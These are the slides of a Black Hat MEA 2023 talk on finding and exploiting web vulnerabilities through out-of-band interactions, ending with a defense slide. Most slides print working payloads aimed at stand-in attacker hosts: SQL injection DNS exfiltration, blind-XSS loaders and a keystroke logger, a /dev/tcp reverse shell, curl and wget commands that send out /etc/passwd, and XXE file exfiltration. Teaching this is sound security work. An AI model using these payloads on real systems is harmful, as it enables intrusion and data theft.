1 of 28

14 - 16 NOVEMBER 2023

RIYADH, SAUDI ARABIA

ORGANISED BY:

IN ASSOCIATION WITH:

Discover and Exploit Hidden Vulnerabilities with Out-Of-Band Attacks

Eslam Salem

#BHMEA23

www.blackhatmea.com

|

|

2 of 28

About Me

  • Eslam Salem (@net_code)
  • Security Research Team Lead at Datadog
  • Previously Co-founder & CEO at Shieldfy, Product security at Sqreen
  • Proud husband and father
  • Obsessed about web & cloud security

@net_code

netcode

https://eslam.io

#BHMEA23

www.blackhatmea.com

|

|

3 of 28

Agenda

​

  • Modern vs Traditional web applications architecture

​

​

  • How Out-Of-Band Interactions works

​

​

  • Identify & exploit hidden vulnerabilities with OOB

​

​

  • Defend against these attacks

​

​

​

#BHMEA23

www.blackhatmea.com

|

|

4 of 28

One direction �Request / Response

Single backend processing

#BHMEA23

www.blackhatmea.com

|

|

5 of 28

#BHMEA23

www.blackhatmea.com

|

|

6 of 28

Response

Request

Processing

#BHMEA23

www.blackhatmea.com

|

|

7 of 28

/?id=1 union select id, username from admin #--

SQLI

Data + Id, username from admin

Request

Processing

Response

#BHMEA23

www.blackhatmea.com

|

|

8 of 28

Bidirectional�Request / Response

Multi services cloud applications

#BHMEA23

www.blackhatmea.com

|

|

9 of 28

Request

Processing

Response

#BHMEA23

www.blackhatmea.com

|

|

10 of 28

/?id=1;whoami

Data

Request

Processing

Vuln

Response

#BHMEA23

www.blackhatmea.com

|

|

11 of 28

What is Out of band Interaction?

oob.hacker-server.tld

Vuln

POST / HTTP/1.1

Host: oob.hacker-server.tld

Content-Type: application/x-www-form-urlencoded

​

id=uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

​

​

Request

Response

/?id=1;curl -x post -d “id=$(id)” oob.hacker-server.tld

Curl executed

#BHMEA23

www.blackhatmea.com

|

|

12 of 28

OOB Attack Phases

Phase #1: Identify

Phase #2: Exploit & Exfiltrate

  1. Setting up a listening server �(Usually waiting for DNS interaction)

​

  1. Testing different payloads in different places in the target application�
  2. Bingo
  1. Identify the right protocol to use (DNS, HTTP, LDAP ..etc)

​

  1. Modify the payload and test again�
  2. Bingo

#BHMEA23

www.blackhatmea.com

|

|

13 of 28

Interaction protocols

  • DNS

The first attempt, If oob vuln exists its almost guaranteed to make a DNS query

The best for exfiltrating data, the power of HTTP protocol

Specific cases, depends on the vulnerability and the use case

�Might not work depends on what egress traffic allowed

  • HTTP/HTTPs
  • FTP
  • LDAP
  • ICMP
  • …

#BHMEA23

www.blackhatmea.com

|

|

14 of 28

DNS exfiltration limitation

infoyouwanttoexfiltrate.domain.tld

Maximum 63 Character*

Maximum 255 Character**

* https://www.rfc-editor.org/rfc/rfc1035�** https://www.rfc-editor.org/rfc/rfc2821

2. DNS caching

  1. Character limit

#BHMEA23

www.blackhatmea.com

|

|

15 of 28

OOB Tools

https://github.com/projectdiscovery/interactsh

https://portswigger.net/burp (Commercial)

https://github.com/mandatoryprogrammer/xsshunter-express

https://github.com/trufflesecurity/xsshunter

#BHMEA23

www.blackhatmea.com

|

|

16 of 28

OOB Tools - DIY ;)

#BHMEA23

www.blackhatmea.com

|

|

17 of 28

Using OOB for common vulnerabilities

  • SQL Injection
  • XSS
  • Command Injection
  • XXE
  • SSRF (Identifying only)
  • Log4Shell

#BHMEA23

www.blackhatmea.com

|

|

18 of 28

OOB SQL Injection - Phase #1 Identify

DNS

1; EXEC master..xp_dirtree '\\hacker.site';--

LDAP

DNS

1+union+select+1,DBMS_LDAP.INIT((SELECT user FROM dual)||'.'||'.hacker.site',80)

DNS

Windows Only

1+union+select+1,load_file(concat('\\\\hacker.site\\a.txt'))

#BHMEA23

www.blackhatmea.com

|

|

19 of 28

OOB SQL Injection - Phase #2 Exfiltration

1+union+select+1,load_file(concat('\\\\',HEX(user()),'.hacker.site\\a.txt'))

​

#BHMEA23

www.blackhatmea.com

|

|

20 of 28

OOB XSS (aka blind XSS)

​

<script>alert(‘xss’)</script>

Internal panel

Processing

xss

No reflected xss

#BHMEA23

www.blackhatmea.com

|

|

21 of 28

"><script src="https://hacker.site/drl1ll3mkk"></script>

https://github.com/mandatoryprogrammer/xsshunter-express

https://github.com/trufflesecurity/xsshunter

XSS Hunter - host it in your sever ;)

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://hacker.site/drl1ll3mkk\';document.body.appendChild(a)')

OOB XSS - Phase #1 Identify

#BHMEA23

www.blackhatmea.com

|

|

22 of 28

OOB XSS - Phase #2 Exfiltration

​

Example: Simple keylogger

"><script src="https://oob.hacker.site/drl1ll3mkk"></script>

document.onkeypress=function(e){fetch("http://hacker.site?k="+String.fromCharCode(e.which))},this.remove();

#BHMEA23

www.blackhatmea.com

|

|

23 of 28

OOB OS Command Injection - Phase #1 Identify

​

DNS Interactions

ping

Windows / Linux

ping oob.hacker.site

Example:

nslookup

Windows / Linux

nslookup oob.hacker.site

Example:

host

Linux

host oob.hacker.site

Example:

dig

Linux

dig oob.hacker.site

Example:

#BHMEA23

www.blackhatmea.com

|

|

24 of 28

OOB OS Command Injection - Phase #2 Exfiltration

​

RevShell

**

sh -i >& /dev/tcp/127.0.0.1/9090 0>&1

**more at: https://www.revshells.com/

Example:

WGET

wget --header=leaked:$(cat /etc/passwd | xxd -p -c 10000) oob.hacker.site

Windows / Linux

Example:

CURL

curl -X POST -d "leaked=$(cat /etc/passwd | xxd -p -c 10000)" oob.hacker.site

Windows / Linux

Example:

HTTP Interactions

#BHMEA23

www.blackhatmea.com

|

|

25 of 28

OOB XXE - Phase #1 Identify

​

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://oob.hacker.site"> %xxe; ]>

malicious.xml

#BHMEA23

www.blackhatmea.com

|

|

26 of 28

OOB XXE - Phase #2 Exfiltration

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM

"http://oob.hacker.site/remote.dtd"> %xxe;]>

<info>

<user>%xxe</user>

</info>

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">

<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://oob.hacker.site/?x=%file;'>">

%eval;

%exfiltrate;

oob.hacker.site/remote.dtd

malicious.xml

#BHMEA23

www.blackhatmea.com

|

|

27 of 28

Defense

Software update with secure defaults

Block outbound connections you don’t use and monitor the rest

Using minimal container images & distroless images when possible

Ex: Recent mysql don’t allow by default load_file to access unrestricted directories or open a connection

There is not much attacker can do when there is no curl, wget or even bash

You're probably don't need ldap, ftp, gopher outbound connections.

#BHMEA23

www.blackhatmea.com

|

|

28 of 28

Thank you

@net_code

netcode

https://eslam.io

#BHMEA23

www.blackhatmea.com

|

|